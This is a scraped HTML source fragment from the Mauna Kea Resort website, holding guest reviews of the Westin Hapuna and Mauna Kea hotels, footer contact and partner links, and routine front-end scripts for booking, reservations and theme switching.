4769 <div> 4770 <div class="reviews-slide"> 4771 <div class="cite">Nate C</div> 4772 <div class="loc">Google:</div> 4773 <p>The Westin Hapuna Beach Resort delivers exactly what you hope for in a Big Island getaway: direct access to one of the most beautiful white-sand beaches in Hawaii. Hapuna Beach is consistently ranked among the best in the U.S., and staying here means you're steps away from soft golden sand, calm turquoise waters (perfect for swimming or body-boarding), and breathtaking sunsets. The resort itself feels open, airy, and relaxing. The lobby is dramatic with sweeping ocean views, and the two pools are highlights ââ¬â a large family-friendly freeform pool and a serene adults-only infinity pool overlooking the beach. Rooms are spacious, modern, and most offer private lanais with ocean or partial ocean views. Service is mostly warm and attentive, especially from the front desk and pool staff. We were welcomed with drinks and towels. What we loved most: - The unbeatable beach location and views - Spacious, clean rooms - Peaceful, laid-back vibe ideal for relaxation - Easy access to snorkeling right off the beach.</p> 4774 </div> 4775 </div> 4776 <div> 4777 <div class="reviews-slide"> 4778 <div class="cite">J Griffin</div> 4779 <div class="loc">Google:</div> 4780 <p>This was our second stay at this resort [Mauna Kea], this one post renovations. Beautiful views, and rooms were fantastic. I love the conservation efforts, we were given metal water bottles to use during our stay (and to take home) and there are filtered water taps in the rooms! Beach equipment is FREE to use for guests (snorkle gear, stand up paddleboards, surfboards, etc.). Beach is amazing - places to snorkel right there by the rocks, and you can go night snorkeling with manta rays right off the beach (resort will help you book). Staff is lovely, so friendly and helpful. Breakfast was amazing - Bonvoy Elite members...this will spoil you for all other free breakfasts! There were tons of activities to do at the resort for free (Ukelele lessons, learning to speak Hawaiian, yoga, etc.). We took our 2 teenagers with us and they had an amazing time.</p> 4781 </div> 4782 </div> 4783 <div>
4784 <div class="reviews-slide"> 4785 <div class="cite">David Gonzalez</div> 4786 <div class="loc">Google:</div> 4787 <p> The [Westin Hapuna] location is just perfect - off the road, private entrance and very select place. Rooms are nice and we got a very nice upgrade to an ocean front view. Service is great, good restaurants and some simple shops. The semiprivate beach is fantastic - and had good snorkeling spots. I also found some nice running paths. 4788 </p> 4789 </div> 4790 </div> 4791 <div> 4792 <div class="reviews-slide"> 4793 <div class="cite">Mercy Joseph</div> 4794 <div class="loc">Google:</div> 4795 <p>One of the most beautiful hotels I've been to in the world. Timelessly classic.</p> 4796 </div> 4797 </div> 4798 <div> 4799 <div class="reviews-slide"> 4800 <div class="cite">Dmgirl66</div> 4801 <div class="loc">Tripadvisor:</div> 4802 <a href="https://www.tripadvisor.com/ShowUserReviews-g2312116-d169643-r1053002244-The_Westin_Hapuna_Beach_Resort-Puako_Kohala_Coast_Island_of_Hawaii_Hawaii.html" target="_blank">Book this [Westin Hapuna], you will not regret it.</a><p>Had a conference and it was the best place to have it. The location is luxurious, the ocean view rooms are gorgeous and the bonus is the Japanese toilets!!! There is not a lot available around the hotel to eat as the property is quite private but the food at the hotel was great. We chose to do a la carte for breakfast which was more then enough rather then the buffet (though it looked quite good). The snorkeling off the beach was fun and we saw turtles. The beach guys were super attentive. This hotel should be rated a 5.5 star. Hoping they book the conference again here next year.</p> 4803 </div> 4804 </div> 4805 </div> 4806 </div> 4807 </div> 4808</section> 4809 4810 4811 4812</main> 4813 4814 4815 4816<section class="social" id="social"> 4817 <div class="inner"> 4818 <div class="hgroup"> 4819 <h2>Mauna Kea Moments</h2> 4820 <div class="secondary icons"> 4821 <ul class="unstyled-list ftr-social"> 4822 <li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Facebook"><i class="icon-facebook"></i></a></li> 4823 <li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Instagram"><i class="icon-instagram"></i></a></li> 4824 </ul> 4825 <div class="hashtag">#MaunaKeaMoments</div> 4826 </div> 4827 </div> 4828 <div class="social-grid"> 4829 <div id="savvy-social"> 4830 <figure class="social-tile mag-tile has-caption has-caption-top"> 4831 4832 <img src="/images/content/magazine-room/cnha-296-1-.jpg?05828567874177512" width="480" height="480" alt="Culture Conscious" class="object-fit"> 4833 <figcaption> 4834 <div class="inner"> 4835 <div class="pre-hdr"></div> 4836 <h3><em>Culture Conscious</em></h3> 4837 <p><a href="/culture/currents/culture-conscious" class="lm">Read more <span class="ada-hidden">about Culture Conscious</span></a></p> 4838 </div> 4839 </figcaption> 4840 4841 </figure> 4842 </div> 4843 <div> 4844 <div class="social-item-template" style="display: none;"> 4845 <div> 4846 <figure class="social-tile"> 4847 <a href="{{ postUrl }}" target="_blank" rel="noopener"> 4848 <img src="{{ mediaUrl }}" width="480" height="480" alt="view on instagram at {{ mediaUrl }}" class="object-fit">
4849 <figcaption> 4850 <div class="inner"> 4851 <p>{{ message }}</p> 4852 </div> 4853 </figcaption> 4854 </a> 4855 </figure> 4856 </div> 4857 </div> 4858 </div> 4859 </div> 4860 </div> 4861</section> 4862 4863
4864<script> 4865 _hdmq.add(function(){ 4866 $LAB.script('/components/social/js/social_combo.js'); 4867 }); 4868</script>
4868 4869 4870 4871 4872 4873 4874 <style>.ftr-logo{width:206px;height:84px;overflow:hidden}.ftr-logo svg{width:100%;height:100%}</style> 4875 4876 4877 4878 4879<footer class="site-footer" role="contentinfo"> 4880 4881 4882<div class="eclub"> 4883 <form class="eclub-form" method="post" action="/email-signup"> 4884 <fieldset> 4885 <legend>Let's stay in touch</legend> 4886 <div class="field"> 4887 <label for="eclubEmail" class="ada-hidden">Enter your email</label> 4888 <input type="email" placeholder="Enter your email" name="eclubEmail" id="eclubEmail"> 4889 </div> 4890 </fieldset> 4891 <input type="submit" value="Sign Up"> 4892 </form> 4893 <div class="footer-logos"> 4894 <a href="http://www.virtuoso.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/vir-logo-member-300.png" alt="Virtuoso Memeber" width="100" class="footer-logo travelers"></a> 4895 <a href="https://www.signaturetravelnetwork.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/Sig_Logo-300.png" alt="Signture travel network" width="100" class="footer-logo travelers"></a> 4896 <a href="http://www.stars.marriott.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/luminous-300.png" alt="Marriott International Luminous" width="100" class="footer-logo travelers"></a> 4897 <a href="https://internovatravel.com/hotel/a2o0y000005JIXlAAO/Mauna-Kea-Beach-Hotel%2C-Autograph-Collection" target="_blank" class="footer-logo"><img loading="lazy"src="/images/layout/logos/select-300.png" alt="Select" width="100" class="footer-logo travelers"></a> 4898 <a href="https://hotelexcellence.marriott.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/hotel-excellence-tall-600.png" alt="Hotel Excellence" width="100" class="footer-logo travelers"></a> 4899 <a href="#" target="_blank" style="pointer-events: none; cursor: default;" class="footer-logo"><img loading="lazy" src="/images/layout/logos/proud-partner.png" alt="proud partner of ensemble" width="130" class="footer-logo travelers"></a> 4900 4901 <a href="https://newsroom.aaa.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/AAA-tall-300.png" alt="AAA four diamond" width="100" class="footer-logo travelers"></a> 4902 <a href="https://www.tripadvisor.com/TravelersChoice" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/TC-2023-300.png" alt="2023 Traveler's Choice" width="100" class="footer-logo travelers"></a> 4903 <a href="https://www.maunakearesort.com/play/tesla-experience" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/envoy-logo-trademarked-300.png" alt="ENVOY" width="100" class="footer-logo travelers"></a> 4904 <a href="https://www.maunakearesort.com/play/tesla-experience" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/tesla-300.png" alt="Tesla" width="100" class="footer-logo travelers"></a> 4905 <a href="https://www.maunakearesort.com/play/gopro-experience" class="footer-logo" aria-label="Go Pro"><img loading="lazy" src="/images/layout/logos/gopro--300.png" alt="Go Pro" width="100" class="footer-logo travelers"></a> 4906 <a href="https://www.winespectator.com/" target="_blank" class="footer-logo"><img loading="lazy" src="/images/layout/logos/wslogo-300.png" alt="Wine Spectator" width="100" class="footer-logo travelers"></a> 4907 <a href="#" target="_blank" style="pointer-events: none; cursor: default;" class="footer-logo"><img loading="lazy" src="/images/maunakeabeachhotel/content/logos/CNT-US-RCA-2025.png" alt="Conde Nast Traveler" width="120" class="footer-logo travelers"></a> 4908 </div> 4909</div> 4910 4911 4912 4913 4914 4915 <div class="ftr-top"> 4916 <div><i class="icon-location"></i> <span class="mobile-break">62-100 Kauna'oa Drive,</span> Kohala Coast, HI 96743</div> 4917 <div><span class="mobile-break">Room Reservations:</span> <a href="tel:1-877-880-6524">1-877-880-6524</a></div> 4918 <div><span class="mobile-break">Mauna Kea Beach Hotel Direct:</span> <a href="tel:1-808-882-7222">1-808-882-7222</a></div> 4919 <div><span class="mobile-break">The Westin Hapuna Direct:</span> <a href="tel:1-808-880-1111">1-808-880-1111</a></div> 4920 </div> 4921 <div class="ftr-bottom"> 4922 <div class="cf inner flex"> 4923 <div class="col-1"> 4924 <div class="ftr-logo"><a href="/"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 501.54 196.46"><title>
4924Mauna Kea Resort</title><path class="sl-1" d="M253.38 0a14.28 14.28 0 0 0-4.3.67 12.48 12.48 0 0 0-7.55 6.22c-5 9.14 1 22.38 9.87 29.18 3.28-8.21 7.64-12.54 11.16-16 1-1 1.88-1.86 2.68-2.76a7.21 7.21 0 0 0 1.75-6.39c-.62-3.87-3.43-7.31-7.71-9.45a12.47 12.47 0 0 0-5.9-1.47ZM253.22 39.5a36.28 36.28 0 0 1 .84 16.6 60.33 60.33 0 0 0-.45 3.58c-.19 3.07.49 5.39 2.08 7.08 2.09 2.23 5.73 3.31 11.12 3.31a12.47 12.47 0 0 0 9.49-4.62 10.18 10.18 0 0 0 2.33-8.53c-1.72-10.32-14.71-15.84-25.3-17.43Z"/><path class="sl-1" d="M251.27 39.69c-6.05 3.56-14.22 4.93-19.66 5.83a9.05 9.05 0 0 0-5.77 5.32 14.92 14.92 0 0 0-.08 12c3.61 6.76 10.37 9.15 16.83 5.92 12.86-6.5 9.86-23.83 8.68-28.99ZM229.51 16.56a12.45 12.45 0 0 0-9.35 4.3 13.94 13.94 0 0 0-4 10.19 12 12 0 0 0 4.48 8.47c2.67 2.47 7.59 3.48 13.84 2.84a46.71 46.71 0 0 0 15.68-4.54c-6.21-4.72-9.76-9.42-11.83-15.65a8.28 8.28 0 0 0-6.58-5.4 11.55 11.55 0 0 0-2.24-.21ZM253.24 37.19a58 58 0 0 1 15.54 4.53c1.26.52 2.46 1 3.69 1.47 2.53 1 5.77.48 8.87-1.34 3.59-2.1 6.1-5.42 6.56-8.67a15.22 15.22 0 0 0-2.75-11.24 11.2 11.2 0 0 0-7.7-4.24c-10.48-.91-20.49 9.14-24.21 19.49Z"/><g><path class="sl-2" d="M427.01 131.26c-.89 0-14.7.48-14.49-2.68.25-3.92 19.8-3.49 23.91-2.7 1.62.31 3.65.91 3.47 2.48s-5.08 2.7-12.89 2.9ZM286.1 136.57c-.66 0-10.83.47-10.68-2.69.19-3.91 14.6-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.74 2.67-9.5 2.91ZM479.81 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/><path class="sl-3" d="M2.86 128.32c1-2.39 1.78-4.84 2.93-7.14 4.95-9.91 17.06-11 24.12-2.41 3.41 4.17 4.94 9.27 7.48 13.87 2.73 5 4.59 5.05 7.44.23 2.27-3.82 4.25-7.81 6.59-11.58 3.19-5.12 7.05-9.17 14-8s9.47 6.23 10.83 12a40.18 40.18 0 0 1 1 15.26c-.27 1.88-.83 3.8-3.29 3.5-2.08-.26-2.35-1.93-2.3-3.74a45.47 45.47 0 0 0-2-15.15c-.81-2.53-1.93-5.23-4.91-5.69-3.29-.51-4.52 2.43-5.75 4.65-2.46 4.46-4.12 9.33-7.06 13.57-6 8.64-13.7 8.65-19.21-.33-2.65-4.32-4.55-9.1-6.83-13.66-1.21-2.45-2.93-5.1-5.66-5-3.1.06-4.42 3.13-5.42 5.8a68.56 68.56 0 0 0-2.93 12.51c-.39 2.41-.77 5.38-2 6.07s-5.08.77-7.26-.19c-3.71-1.62-2.56-4.45-2.18-6.29.48-2.34 1.6-5.41 2.41-8.28ZM341.19 116.84c.13-2.53.83-5.25 4.07-5.14 2.88.09 3.61 3 3.71 5 .06 1.16-.83 6.88 4.83 4.66a147.44 147.44 0 0 1 29-9.41c2.86-.57 5.27-.47 5.92 2.56.75 3.51-2.54 3.36-4.62 3.65a150.58 150.58 0 0 0-23.1 5.25c-1.63.51-4 .94-3.89 3.15.08 1.8 2.21 2.22 3.73 2.8 8.53 3.26 17.53 4.5 26.46 6 1.78.31 4.67.3 4.7 2.49.22 2.73-1.26 4.59-4 5.6-4.1 1.52-7.83-.12-11.6-1.12a99 99 0 0 1-23.11-9.74c-3.56-2-4.17-.87-4.09 2.46a27.18 27.18 0 0 1-.18 5c-.33 2-1.06 3.88-3.65 4-2.83.17-4-1.76-4.12-4-.23-4.01-.25-19.58-.06-23.21ZM199.32 122.41c2.51-8.73 10.34-11.94 18.72-7 6 3.53 9.42 8.72 13.65 14 2.23 2.79 5.23 7.15 9.15 6.22 4.12-1 4.25-5.87 4.51-9.32.28-3.91-.06-6.6 0-9.91 0-1.67.32-2.95 2.32-3.12a2.83 2.83 0 0 1 3.27 2.34c1.72 6.76 3.29 13.55 1 20.49-2.47 7.6-10.71 10.25-18.36 5.94-5.68-3.2-9.24-8.41-12.87-13.55-1.71-2.43-3.32-4.93-5.12-7.29-1.42-1.87-3-3.26-5.8-3-2.1.22-4 2.08-4.54 5.74s-.21 9.83.07 15.2c.1 1.92.57 4.36-2.15 4.82s-3.39-1.77-4.12-3.92c-.96-2.79-1.71-10.79.27-17.64ZM501.45 143.26c-.3.94-1.38 1.07-3.2 1.07s-2.47-1.53-2.57-2.87c-.38-5.26-.72-10.52-2.78-15.5-2.22-5.38-6.06-8.41-12-8.85s-10.21 2.34-12.94 7.39a33.2 33.2 0 0 0-4.1 16.1c0 2.8-1.36 4.11-3.81 4-2.25 0-4.66-.34-5.4-3.32-2.31-9.26 6.24-23.64 15.39-27.88 11.85-5.48 27.15 1.58 30.47 16.61.62 2.91 1.32 11.92.94 13.25Z"/><path class="sl-4" d="M189.38 118.36c-.38 14.35-9.25 24.8-21.51 25.75a23.78 23.78 0 0 1-25.29-26.69c.35-3 1.84-4.52 4.82-4.32s5.21 1.34 5 4.81a23.62 23.62 0 0 0 2.28 11c2.1 4.75 5.35 8.12 11.06 8.49 6.54.43 11.65-1.55 14.93-7.47a27.37 27.37 0 0 0 3-11.34c.18-2.22-.8-5.63 3.2-5.38 2.85.2 2.48 3.42 2.51 5.15Z"/><path class="sl-5" d="M427.73 144.59c-9 0-16.47-1.26-22.91-5.92-9.71-7-9-16.33 1.42-22.34 8.74-5 19.68-4.69 27.55-3.52a49.72 49.72 0 0 1 6.75 1.48c1.18.37 2.41.94 2.17 2.43s-1.42 1.88-2.94 1.64c-2.77-.43-5.51-1.14-8.3-1.42-7.82-.81-14.18.92-16.67 2.15-4 2-6.82 4.61-6.89 8.79s2.76 6.64 6 8.42c7.49 4.08 15.59 3.68 23.7 2.62.81-.1 1.88-.38 2.69-.49 1.76-.25 2.91.59 3 2.18.11 1.3-1.28 2.14-2.66 2.49a58.33 58.33 0 0 1-12.91 1.49ZM133.69 138.64a15 15 0 0 1 .06 2.21c-.05 1-.2 3.13-2.41 3.22a2.5 2.5 0 0 1-2.78-2.79 32.06 32.06 0 0 0-1.73-10.69c-2.44-7.89-7.59-11.49-15.86-11.22-6.36.2-11.45 4.73-13.18 12a32.22 32.22 0 0 0-1.08 7.79c0 3.88-2.42 4.85-5.38 4.9-3.16.05-4-2-3.78-5 .73-9 3.43-17.2 11.21-22.57 9.72-6.72 28.06-4.73 32.85 11.5a57.83 57.83 0 0 1 2.08 10.65Z"/><path class="sl-4" d="M307.51 137.55c0 1.63.05 2.62 0 3.61-.09 1.42-.67 2.7-2.19 2.88a2.63 2.63 0 0 1-3-2.67 36 36 0 0 0-2.34-9.59c-2.72-7.16-8.27-11.14-14.86-11s-11.25 4-14 11.35a51.54 51.54 0 0 0-2.26 9.06c-.27 1.44-.9 3.08-2.85 2.83a2.74 2.74 0 0 1-2.33-2.86c.09-9.1 1.06-18.16 9-24.12 7.18-5.42 15.49-5.68 23.38-1.58 8.98 4.74 10.76 13.57 11.45 22.09Z"/><path class="sl-2" d="M112.97 136.57c-.66 0-10.83.47-10.68-2.69.18-3.91 14.59-3.49 17.62-2.7 1.2.31 2.69.92 2.56 2.48s-3.75 2.67-9.5 2.91Z"/></g><g><path class="sl-6" d="m186.45 195.99-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.56 2.56 0 0 0 1.08-2.26 2.52 2.52 0 0 0-1-2.25 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM201.61 195.99v-18.56h15.13v2.83h-11.83v4.84h11.26v2.78h-11.26v5.38h12.4l-.47 2.78ZM242.23 182.55a4.67 4.67 0 0 0-1.09-1.74 4.17 4.17 0 0 0-1.69-.94 9.56 9.56 0 0 0-2.53-.28 9.17 9.17 0 0 0-3.87.66 2.07 2.07 0 0 0-1.38 1.91 2 2 0 0 0 .9 1.77 8.3 8.3 0 0 0 3.13.94l3.85.5
49247a9.3 9.3 0 0 1 4.77 1.83 4.66 4.66 0 0 1 1.52 3.68 4.57 4.57 0 0 1-2.25 4.07 11.66 11.66 0 0 1-6.3 1.44q-4.43 0-6.7-1.53a6.33 6.33 0 0 1-2.66-4.76h3.33a3.8 3.8 0 0 0 1.78 2.79 8.24 8.24 0 0 0 4.25.88 8 8 0 0 0 3.86-.76 2.34 2.34 0 0 0 1.34-2.13 2.08 2.08 0 0 0-.92-1.79 6.77 6.77 0 0 0-2.88-.94l-3.33-.49a16.28 16.28 0 0 1-4.08-1.07 4.84 4.84 0 0 1-2.18-1.75 5 5 0 0 1-.65-2.65 4.36 4.36 0 0 1 2.25-3.89 12.08 12.08 0 0 1 6.31-1.39 13.58 13.58 0 0 1 4.18.55 6.21 6.21 0 0 1 2.72 1.66 6.81 6.81 0 0 1 1.49 2.91ZM278.03 186.71a10.09 10.09 0 0 1-1.27 5.11 8.57 8.57 0 0 1-3.65 3.42 13.63 13.63 0 0 1-11.14.06 8.47 8.47 0 0 1-3.69-3.36 11 11 0 0 1-.05-10.34 8.63 8.63 0 0 1 3.65-3.42 12.28 12.28 0 0 1 5.64-1.22 12.46 12.46 0 0 1 5.5 1.16 8.43 8.43 0 0 1 3.69 3.37 10 10 0 0 1 1.32 5.22Zm-3.41 0a6.93 6.93 0 0 0-1.86-5.15 8.41 8.41 0 0 0-10.5 0 8 8 0 0 0 0 10.3 8.37 8.37 0 0 0 10.5 0 6.87 6.87 0 0 0 1.86-5.15ZM303.98 195.99l-4.18-7.3a3.62 3.62 0 0 1-.46 0h-5.84v7.28h-3.17v-18.54h8.87q7.46 0 7.46 5.64a4.84 4.84 0 0 1-3.64 5l4.68 7.93Zm-5-9.95a6.07 6.07 0 0 0 3.32-.73 2.94 2.94 0 0 0 .05-4.51 6.13 6.13 0 0 0-3.32-.69h-5.54v5.93ZM324.7 195.99v-15.73h-7.48v-2.78h18.28v2.78h-7.49v15.78Z"/></g></svg></a></div> 4925 <ul class="unstyled-list ftr-social"> 4926 <li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Facebook"><i class="icon-facebook"></i></a></li> 4927 <li><a href="https://linktr.ee/MaunaKeaResort" target="_blank" rel="noopener" aria-label="Instagram"><i class="icon-instagram"></i></a></li> 4928 </ul> 4929 </div> 4930 <div class="col-2"> 4931 <div class="two-col ftr-links"> 4932 <ul class="unstyled-list"> 4933 <li><a href="/careers">Careers</a></li> 4934 <li><a href="/press-room">Press Room</a></li> 4935 <li><a href="/stay/accessible-rooms">ADA</a></li> 4936 <li><a href="/contact">Contact Us</a></li> 4937 <li><a href="/directions">Directions</a></li> 4938 <li><a href="/policies">Policies</a></li> 4939 <li><a href="/culture/sustainability">Sustainability</a></li> 4940 <li><a href="/stay/laundry-valet">Hapuna Laundry</a></li> 4941 <li><a href="https://www.alohasothebysrealty.com/" target="_blank" rel="nofollow">Aloha Sotheby's</a></li> 4942 <li><a href="https://eastwest.com/places/maunakea/" target="_blank" rel="nofollow">East West Hospitality</a></li> 4943 <li><a href="https://www.marriott.com/loyalty.mi" target="_blank" rel="noopener">Marriott Bonvoy</a></li> 4944 <li><a href="https://travelagents.princeresortshawaii.com/" target="_blank" rel="noopener">Travel Agents</a></li> 4945 <li><button id="ot-sdk-btn" class="ot-sdk-show-settings">Cookie Settings</button></li> 4946 </ul> 4947 </div> 4948 </div> 4949 4950 <div class="col-3"> 4951 <div class="two-col ftr-links"> 4952 <ul class="unstyled-list"> 4953 <li class="c-logo"><a href="https://www.marriott.com/loyalty.mi?scid=d4e4bc07-f4b0-42de-a21c-dead4579f390" target="_blank" rel="noopener"><img loading="lazy" src="/images/layout/logos/bonvoy-white.png" width="122" height="35" alt="Bonvoy"></a></li> 4954 <li class="c-logo l-mar"><a href="https://www.marriott.com/en-us/hotels/koaak-mauna-kea-beach-hotel-autograph-collection/overview/" target="_blank" rel="noopener"><img class="autograph" loading="lazy" src="/images/layout/logos/autograph.png" width="115" height="52" alt="autograph"></a></li> 4955 <li class="c-logo"><a href="https://www.marriott.com/en-us/hotels/koawi-the-westin-hapuna-beach-resort/overview/" target="_blank" rel="noopener"> <img loading="lazy" src="/images/layout/logos/westin.png" width="107" height="35" alt="westin"></a></li> 4956 4957 <li class="c-logo l-mar"><a href="https://www.seibuprince.com/" target="_blank" rel="noopener"><img loading="lazy" src="/images/layout/logos/seibu-prince-logo.png" width="106" height="82" alt="Seibu Prince Hotels & Resorts"></a></li> 4958 </ul> 4959 </div> 4960 </div> 4961 4962 </div> 4963 </div> 4964 4965 <div class="footer-bg"> 4966 <video id="footer-video" class="object-fit" preload="none" muted loop playsinline width="640" height="360" data-dawn-src="/videos/ftr-dawn.mp4" data-dusk-src="/videos/ftr-dusk.mp4"> 4967 <source src="/videos/ftr-dawn.mp4"> 4968 </video> 4969 </div> 4970 4971
4971<script> 4972 _hdmq.add(function(){ 4973 4974 observeBgVideo('#footer-video', '.site-footer'); 4975 4976 }); 4977 </script>
4977 4978 4979 4980 4981</footer> 4982 <!-- scripts --> 4983 4984 4985
4985<script> 4986 var loadDeferredStyles = function () { 4987 var addStylesNode = document.getElementById("deferred-styles"); 4988 var textContent = addStylesNode.textContent; 4989 addStylesNode.parentElement.removeChild(addStylesNode); 4990 var replacement = document.createElement("div"); 4991 replacement.innerHTML = textContent; 4992 document.body.appendChild(replacement); 4993 }; 4994 //this could go in a bundle too. Can't go in top because want to not process until now 4995 //you can check for blocking by checking network tab on chrome dev tools and see if whatever download comes before or after the red line. 4996 //something is happening here to make the after css block 4997 //ossilby some other blocking javascript loading? So put this in 4998 //jquey pho queue and document on ready... doesnt work 4999 //$(function(){ 5000 // $(document).ready(function(){ 5001 // document.body.appendChild(replacement); 5002 // }); 5003 //}); 5004 var raf = null; 5005 if (typeof requestAnimationFrame === "function") { 5006 raf = requestAnimationFrame; 5007 } else if (typeof mozRequestAnimationFrame === "function") { 5008 raf = mozRequestAnimationFrame; 5009 } else if (typeof webkitRequestAnimationFrame === "function") { 5010 raf = webkitRequestAnimationFrame; 5011 } else if (typeof msRequestAnimationFrame === "function") { 5012 raf = msRequestAnimationFrame; 5013 } 5014 if (raf) { 5015 raf(function() { window.setTimeout(loadDeferredStyles, 0); }); 5016 } else { 5017 /* for anyone who does have raf from above. Except IE < 9 which can't see inside noscript tags. doesn't seem to load this, at least in emulation mode 5018 That's whay there is the IE < 9 conditional next to noscript 5019 when IE < 9 support is dropped put this in 5020 else window.addEventListener('load', loadDeferredStyles); 5021 from https://developers.google.com/speed/docs/insights/OptimizeCSSDelivery#example 5022 might be better if we just server side detect it 5023 */ 5024 if (window.attachEvent) { 5025 window.attachEvent('onload', loadDeferredStyles); 5026 } else { 5027 window.addEventListener('load', loadDeferredStyles); 5028 } 5029 /* another way to just them in 5030 string styleTags = Styles.Render("~/css/after.css").ToHtmlString().Trim(); 5031 foreach (LinkTag lt in deferredLinkTags) { 5032 styleTags = styleTags + lt.GetTag().Trim(); 5033 }*/ 5034 /* 5035 console.log("loading after styles directly"); 5036 loadDeferredStyles('<styleTags%>'); 5037 */ 5038 } 5039 </script>
5039 5040 5041
5041<script src="/js/js_client_bundle.js?v=y3Lq5KT4O1a5EwcAdGnHCYZ4hfaVuXNmAGJhOhrZTGk1" async ></script>
5041 5042 5043 5044
5044<script> 5045 /////////////////////////// 5046 5047 (function(){ 5048 var appendScripts = function(scripts) { 5049 for (var i = 0; i < scripts.length; i++) { 5050 var element = document.createElement("script"); 5051 element.src = scripts[i]; 5052 document.body.appendChild(element); 5053 } 5054 } 5055 5056 var afterBodyLoad = function() { 5057 5058 ////////////// 5059 5060 ///////////////////////// 5061 5062 } 5063 var coreLoaded = function() { 5064 //after core inline 5065 (function(){function t(){const f=this,e=f.dataset.theme,i=document.querySelector("body"),r=$("#footer-video")[0];let u;t&&(i.classList.add("theme-loading"),n=!0,e==="dusk"?(i.classList.remove("dawn-active"),i.classList.add("dusk-active"),$(".theme-caption").empty().text("ahiahi"),u=$("#footer-video").data("dusk-src"),$("#footer-video").find("source").attr("src",u),r.load(),r.play()):(i.classList.remove("dusk-active"),i.classList.add("dawn-active"),$(".theme-caption").empty().text("wana'ao"),u=$("#footer-video").data("dawn-src"),$("#footer-video").find("source").attr("src",u),r.load(),r.play()),setTimeout(function(){n&&i.classList.remove("theme-loading")},3e3))}let n=!1;const i=document.querySelectorAll(".js-btn-theme"),r=Array.prototype.slice.call(i);r.forEach(function(n){n.addEventListener("click",t)})})(),function(){function r(){var n,i;t||(n=document.createElement("script"),n.type="text/javascript",n.src="//www.opentable.com/widget/reservation/loader?rid=40177&rid=350437&rid=350440&rid=1147462&rid=987028&domain=com&type=standard&theme=standard&lang=en&overlay=true&iframe=false",i=document.querySelector(".dine-scripts"),i.prepend(n),t=!0)}function u(){$('.sb-col-2 a, .sb-col-2 button, .sb-col-2 input, .sb-col-2 select, .sb-col-2 .ot-dtp-picker-form input, .sb-col-2 .ot-dtp-picker-form select, .sb-col-2 [role="button"]').each(function(n,t){$(t).attr("tabindex",0)});$(".book-promo-slide").each(function(n,t){$(t).hasClass("active")&&$(t).find("a").attr("tabindex",0)})}function n(){$('#book a, #book button, #book input, #book select, #book .ot-dtp-picker-form input, .ot-dtp-picker-form select, #book [role="button"]').each(function(n,t){$(t).attr("tabindex",-1)})}function f(){let t=$("#staySelect"),i=t.val(),n=$(".mobile-book-notice");i=="KOAAK"?n.addClass("active"):n.removeClass("active")}function e(){let n=$("#g-recaptcha-response-100000");n.length&&$('<label for="g-recaptcha-response-100000">Response<\/label>').insertBefore(n)}let t=!1;$(".js-btn-reserve").off("click").on("click",function(){const t=$("body");if(t.removeClass("active-nav"),t.hasClass("book-active")){t.removeClass("book-active");try{n()}catch(i){console.log(i)}}else t.addClass("book-active"),setTimeout(function(){try{u();r()}catch(n){console.log(n)}},250)});$(".js-book-close").off("click").on("click",function(){const t=$("body");t.removeClass("active-nav");t.removeClass("book-active");n()});var i=$(".site-book .js-input");i.blur(function(){let n=$(this).val();n==""?$(this).removeClass("has-value"):$(this).addClass("has-value")});i.each(function(){$(this).val()&&$(this).addClass("has-value")});$(".stay-form").submit(function(n){var t,i,r,u,e;n.preventDefault();t=this;i=$(t).attr("action");let f=$("#staySelect").val();r=$("#bookCheckIn").val();u=$("#bookCheckOut").val();try{HDMdataLayer.push({event:"custom",category:"Book",property:f,startdate:r,enddate:u,action:document.location.pathname,label:"Check Availability"})}catch(n){}f=="residences"?(e=$("#bookAdults").val(),$("#clusterCode").length>0&&$("#clusterCode").remove(),i="https://maunakearesidences.com/vacation-rentals/?guests="+e+"&start_date="+r+"&end_date="+u,setTimeout(function(){window.open(i,"_blank")},300)):($("#bookPromo").val()!=""?$(t).append('<input type="hidden" id="clusterCode" name="clusterCode" value="corp" />'):$("#clusterCode").length>0&&$("#clusterCode").remove(),setTimeout(function(){t.submit()},300))});document.addEventListener("keydown",function(n){const t=$("body");n.key==="Escape"&&t.hasClass("book-active")&&t.removeClass("book-active")});setTimeout(function(){n();e();f();$(".dine-scripts .ot-dtp-picker-selector").append('<i class="arrow"><\/i>')},1500)}();$LAB.script("/js/vendors/site/litepicker.js").wait().script("/js/vendors/site/litepicker.keyboard.js").wait(function(){function i(n){let t=n.nextElementSibling;while(t){if(window.getComputedStyle(t).display!=="none")return t;t=t.nextElementSibling}return null}const r=$("#bookCheckIn"),t=$("#bookCheckOut"),n=new Date;const f=new Litepicker({element:document.getElementById("bookCheckIn"),singleMode:!0,format:"MM/DD/YYYY",minDate:new Date-1,firstDay:0,plugins:["keyboardnav"],keyboardnav:{firstTabIndex:0},setup:n=>{n.on("render",n=>{const t=n.querySelector(".button-previous-month"),i=n.querySelector(".button-next-month");t&&t.setAttribute("aria-label","Previous Month");i&&i.setAttribute("aria-label","Next Month")});n.on("selected",n=>{const i=n;i.setDate(i.getDate()+1);u.setDate(i);r.addClass("has-value");t.addClass("has-value")});n.on("hide",()=>{try{let r=n.triggerElement,u=r.parentNode,t=i(u);t.setAttribute("tabindex",-1);setTimeout(()=>{t.focus()},300)}catch(t){console.log(t)}})}}),u=new 